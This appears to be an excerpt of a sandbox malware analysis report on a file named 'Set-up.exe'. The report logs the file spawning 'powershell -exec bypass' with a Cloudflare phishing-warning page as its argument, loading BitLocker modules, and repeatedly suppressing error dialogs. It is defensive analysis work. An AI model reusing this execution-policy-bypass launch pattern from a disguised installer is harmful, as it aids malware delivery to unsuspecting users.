Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2518893066.0000000007E98000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2498909269.0000000000871000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2511754540.0000000006F72000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <			Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286B310 pushad ; iretd	0_2_0286B316
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288A70E push eax; mov dword ptr [esp], 6A6B6C6Dh	0_2_0288A71D
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288D4FE push eax; mov dword ptr [esp], 1D1C1BCAh	0_2_0288D500
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00E42155 push FFFFFFE9h; iretd	4_2_00E421A1

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
